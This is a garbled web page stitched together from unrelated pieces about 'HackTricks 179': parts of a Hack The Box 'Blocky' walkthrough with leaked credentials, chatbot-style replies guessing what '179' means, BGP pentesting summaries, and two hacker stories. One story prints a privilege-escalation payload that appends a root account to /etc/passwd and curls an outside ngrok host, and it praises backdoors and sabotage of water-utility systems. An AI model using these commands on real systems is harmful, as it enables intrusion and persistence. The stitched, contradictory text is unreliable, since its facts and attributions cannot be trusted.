Workshop

Open main menu

Hacktricks 179

We start with an nmap scan to identify open ports and running services.

nmap -sC -sV -oA blocky 10.10.10.10

Nmap Results:

Analysis: The FTP server allows anonymous login, but a quick check reveals no accessible files. The web server (Port 80) is the primary attack vector. We navigate to the website using a browser.


Introduction
Open-source knowledge bases like HackTricks have democratized access to offensive security techniques, enabling both defenders and ethical hackers to understand attack surfaces.

Body

Conclusion
While “hacktricks 179” may be a specific internal reference, the broader impact of such resources is clear: transparency strengthens defense more than secrecy ever could.


Just let me know what “179” refers to in your context (a screenshot, a command, a chapter?), and I’ll write a full, tailored, and accurate essay for you.

It seems you’re referring to “HackTricks” (a well-known cybersecurity wiki/ebook) and the number 179 — possibly a page number, section number, or command ID.

Since I don’t have the exact live version of HackTricks open, here’s what 179 commonly relates to in that context:

If you can give me a more precise clue (e.g., “page 179 of the PEAS chapter”, or “command 179 in WinPEAS”), I can:

Alternatively, if you meant something else entirely (e.g., a CTF challenge, a hash, port 179 = BGP), just let me know.

In the dimly lit basement of a nondescript suburban house, the hum of high-powered cooling fans was the only sound that broke the silence. Elara, a freelance security researcher known in the underground as 'NullByte', stared intently at her triple-monitor setup. On the central screen, a terminal window flickered with lines of green text—the digital heartbeat of a massive corporate network she had been tasked to probe.

She was currently stuck on a particularly stubborn firewall. Every standard exploit she tried was met with a cold, hard "Access Denied." She leaned back, rubbing her tired eyes, and reached for her phone. A quick search on her favorite repository of digital skeletons, HackTricks , led her to a specific, obscure entry:

"Trick 179: Bypassing Stateful Inspection via Fragmented Header Injection."

A slow smile spread across her face. It was a classic "low and slow" technique, often overlooked by modern automated scanners but perfectly suited for the aging infrastructure she was currently dissecting.

With renewed focus, Elara began crafting a custom packet. She didn't just send a request; she sent a series of tiny, seemingly nonsensical fragments. Individually, they were harmless, but when reassembled by the target server’s operating system, they would form a command that the firewall’s inspection engine wouldn't recognize until it was too late. She hit 'Enter'.

The terminal paused. One second. Two. Then, a new prompt appeared: root@corp-gateway:~# She was in.

But as she began to navigate the internal file structure, something caught her eye—a hidden directory labeled /dev/null/shadow_project

. Her breath hitched. This wasn't a standard corporate database. This was something else entirely. As she delved deeper, she realized that "HackTricks 179" hadn't just opened a door for her; it had led her into a digital labyrinth from which there might be no easy escape. The hunt was just beginning. or explore the technical details behind the actual HackTricks repository?

Based on the naming convention, "Hacktricks 179" likely refers to Hack The Box (HTB) Machine 179. In the HTB archive, Machine 179 is named "Blocky".

Blocky is a classic Linux machine known for its reliance on Minecraft themes and a vulnerability involving a Java Decompiler. It is considered an Easy-level box, perfect for beginners learning about directory enumeration and decompiling code to find credentials.

Here is a comprehensive write-up for Blocky (Hack The Box Machine 179).


Since .jar files are Java archives, we can inspect their contents. We can use jd-gui (Java Decompiler) or simply extract the archive to view the class files.

First, let's extract the JAR:

unzip BlockyCore.jar

Inside the extracted folder, we look for .class files. We find BlockyCore.class. To read the code, we use a decompiler or strings.

Using strings:

strings BlockyCore.class

Output Snippet:

// Decompiled code roughly translates to:
public class BlockyCore 
    public String sqlHost = "localhost";
    public String sqlUser = "root";
    public String sqlPass = "8YsqfCTnvxAUeduzjNSXe22"; 
    // ... code continues

Vulnerability Found: We have found a hardcoded password: 8YsqfCTnvxAUeduzjNSXe22 and a username root.

The HackTricks guide for TCP port 179 focuses on pentesting the Border Gateway Protocol (BGP) by enumerating open ports, scanning for vulnerabilities, and testing for misconfigurations that could allow traffic hijacking or denial-of-service attacks. Common techniques include using Nmap to identify autonomous system numbers, utilizing Scapy to craft BGP packets, and checking for missing MD5 authentication, according to the HackTricks methodology. Explore the full documentation on pentesting BGP at HackTricks.


Title: The Last Uncorrupted Terminal

In the neon-drenched underbelly of São Paulo, a data-ghost named Elara stared at her screen. The year was 2031. The country’s water authority, Água Viva, had been quietly bought by a conglomerate called OmniPure. Six months later, the poorest neighborhoods—the favelas—started receiving bills for water they’d always gotten for free. Then the shut-offs began.

Elara wasn’t a criminal. She was a hacktivist, the kind who read Hacktricks 179 like a bible. The page she had open right now was "Privilege Escalation via Misconfigured Cron Jobs." A classic. But tonight, it felt like scripture.

The Clue in the Logs

OmniPure’s security was a fortress. But Elara had found a crack. A forgotten API endpoint—/dev/telemetry/backup—that logged internal diagnostics. Using a simple curl injection she’d learned from Trick 47: Hidden Parameter Tampering, she pulled a log file. Inside was a goldmine: a cron job that ran every night at 2 AM as root. It executed a script called water_pressure_check.sh from a world-writable temporary directory.

Trick 179: "If you can write to a cron job’s referenced path, you own the schedule."

She smiled. The system administrators had gotten lazy. They’d set the permissions to 777 for "easy debugging."

The Exploit

At 1:59 AM, Elara injected her payload into water_pressure_check.sh:

#!/bin/bash
# Original pressure check (commented out)
# /usr/bin/measure-pressure --zone all

echo "hacktivist:x:0:0:root:/root:/bin/bash" >> /etc/passwd /usr/bin/curl --silent --data "status=owned" https://elara-secret.ngrok.io/collect

Two minutes later, she tested her new user:

su hacktivist
whoami
> root

She was in. OmniPure’s central valve controller was now hers.

The Water Manifesto

But Elara wasn’t after destruction. Hacktricks 179 said: "Root is not the goal. Justice is." She didn’t shut off water to the rich. Instead, she rerouted 15% of OmniPure’s purified flow back to the favelas, masked the rerouting as a "system recalibration error," and planted a persistent backdoor via a .bashrc alias on the main SCADA server.

Then she left a message on every digital billboard in the city:

"Água is life. Life is not for sale. - The Last Uncorrupted Terminal"

For three days, OmniPure’s engineers tried to patch the breach. But every time they deleted her user, a forgotten systemd timer (Trick 112) recreated it. Every time they closed the API, a reverse shell via DNS tunneling (Trick 89) reopened it. hacktricks 179

Finally, OmniPure’s stock dropped 22%. The government annulled the privatization contract. Water returned to the people.

The Aftermath

Elara wiped her logs, shredded her VPS, and walked into the morning sun. She had no followers, no manifesto, no flag. Just a battered laptop, a copy of Hacktricks 179, and the quiet knowledge that sometimes a single cron job, written with care, could wash away more than just bad code—it could wash away greed.

She smiled, closed her terminal, and whispered to the humming servers of São Paulo:

“No system is secure. But some systems deserve to fall.”

End.


Inspired by real hacktivism tactics: cron abuse, passwd injection, persistence mechanisms, and the ethical gray area of digital civil disobedience.

, this port is a major point of interest for researchers studying internet infrastructure and routing security.

The "story" of HackTricks 179 is essentially the history and danger of the protocol that keeps the global internet connected. The Story of the Internet’s "Glue" (Port 179) The Unsecured Handshake

: BGP was designed over 30 years ago when the internet was a small community of trusted researchers. It uses TCP Port 179

to allow routers from different "Autonomous Systems" (like ISPs or tech giants) to talk to each other and exchange maps of the internet. The Vulnerability

: Because it was built on trust, BGP often doesn't verify if the information it receives is true. If a router on Port 179 tells the rest of the world, "I am the fastest path to Google," the internet might believe it, even if that router is actually in a basement across the world. Real-World Consequences

: This "unverified trust" has led to famous "BGP Hijacking" incidents. For example, in 2014, attackers used Port 179 to reroute Bitcoin mining traffic to their own servers, stealing approximately in cryptocurrency. The HackTricks Connection : For pentesters and security researchers, HackTricks

provides methodologies to test these connections. It outlines how researchers can identify exposed BGP speakers on Port 179 and check for common misconfigurations that could lead to data interception or massive network outages. Summary of BGP (Port 179) Description Primary Use Standard port for routing sessions.

Allows routers to share the "best path" for internet traffic. Security Risk Vulnerable to due to lack of built-in verification. Pentesters use tools like to find open BGP ports on network infrastructure.

To learn more about testing network services, you can visit the Pentesting Network Services section on HackTricks. BGP Fundamentals - Inter-Router Communication - Cisco Press

Port 179 (BGP) assessment focuses on identifying misconfigurations in TCP-based routing, including session hijacking, MD5 password cracking, and BGP message spoofing. Key enumeration techniques involve nmap scripting to discover peers and validating route advertisements, with mitigation relying on RPKI, BGPsec, and robust TCP authentication. For a detailed breakdown of pentesting techniques, consult the HackTricks knowledge base.

TCP Access Restriction for BGP | Junos OS - Juniper Networks

BGP peers are established by manual configuration between routing devices to create a TCP session on port 179. Juniper Networks

BGP Vulnerability Testing: Separating Fact from FUD - Black Hat

Pentesting Border Gateway Protocol (BGP) on TCP port 179 involves identifying misconfigured or exposed routers to mitigate risks like route hijacking and malicious traffic redirection. Key testing methods include BGP open probes, analyzing path announcements for potential leaks, and testing for TCP session hijacking vulnerabilities. For broad penetration testing methodologies, visit HackTricks. What is BGP hijacking? - Cloudflare

If "HackTricks 179" corresponds to a specific article or technique on the HackTricks website, I would recommend checking the website directly for the most accurate and up-to-date information. HackTricks is regularly updated with new content, including walkthroughs of various hacking challenges, bug bounty tips, and technical write-ups on how to exploit or mitigate specific vulnerabilities.

That being said, if you're looking for a general piece on how to approach or utilize information from HackTricks or similar resources for learning and improving cybersecurity skills, here's a general overview: We start with an nmap scan to identify

The cybersecurity landscape is vast and complex, with new vulnerabilities and attack vectors emerging regularly. Resources like HackTricks play a crucial role in the learning and professional development of cybersecurity practitioners. Here’s how you can make the most out of such resources:

If you have a more specific question or need information on a particular topic related to HackTricks 179, please provide more details, and I'll do my best to assist you.

While there is no single "essay" titled "HackTricks 179," the number 179 most commonly refers to TCP port 179 , which is used for the Border Gateway Protocol (BGP)

Below is a structured overview of pentesting port 179/BGP, drawing on resources and methodologies often found in or linked by HackTricks Overview of Port 179 (BGP)

BGP is the "postal service" of the internet, responsible for routing data across different autonomous systems (AS). Because it handles core internet infrastructure, it is a high-value target for sophisticated network attacks. PentestPad Common BGP Attacks BGP Hijacking (Prefix Hijacking):

An attacker announces a more specific IP prefix or a shorter path than the legitimate owner, causing traffic to be redirected through the attacker's network. This allows for Man-in-the-Middle (MitM) attacks or data sniffing. BGP Poisoning:

Attackers broadcast discrete BGP messages to identify hidden routes or disrupt the loop deterrence mechanism. Session Hijacking:

If BGP sessions are unprotected (e.g., lack MD5 authentication), an attacker can inject malicious routes directly into the session. Denial of Service (DoS):

Triggering route flapping or resetting sessions can disrupt connectivity for entire network segments. PentestPad Pentesting Methodology Port 179 - BGP (Border Gateway Protocol) - PentestPad

The keyword "HackTricks 179" refers to the intersection of the popular HackTricks cybersecurity wiki and TCP Port 179, the standard port for the Border Gateway Protocol (BGP). BGP is the "glue" of the internet, managing how data packets move across autonomous systems (AS).

Because port 179 controls critical infrastructure, it is a high-value target for researchers and attackers looking to disrupt global connectivity or intercept traffic. 1. Understanding Port 179 (BGP)

Port 179 is used by routers to establish peering sessions. When this port is exposed to the public internet, it creates significant security risks:

Route Hijacking: Malicious actors can announce false routes to redirect traffic through their own networks for interception.

Denial of Service (DoS): Attackers can send spoofed TCP Reset (RST) packets to break established sessions, leading to "route flapping" and widespread outages.

Session Takeover: Unauthenticated sessions can be hijacked to inject malicious routing information. 2. HackTricks Pentesting Methodology for Port 179

Following the HackTricks pentesting methodology, a security audit of port 179 typically involves several stages: Enumeration and Identification

The first step is identifying if the service is active and responsive. HackTricks - HackTricks

Hacktricks logos & motion design by @ppieranacho. Run HackTricks Locally. # Download latest version of hacktricks git clone https: HackTricks An Overview of BGP Hijacking - Bishop Fox

We have a username (root) and a password. We know SSH is open, but the root user usually cannot SSH in with a password by default. However, we saw a /phpmyadmin page, but more importantly, this is a WordPress site.

Let's try the credentials against the WordPress users. Looking at the blog posts on the site, we find an author profile named notch.

Testing SSH: Since notch is a user on the system, let's try the found password for this user via SSH.

ssh notch@10.10.10.10

Password: 8YsqfCTnvxAUeduzjNSe22

Result: Success! We are logged in as notch. Nmap Results: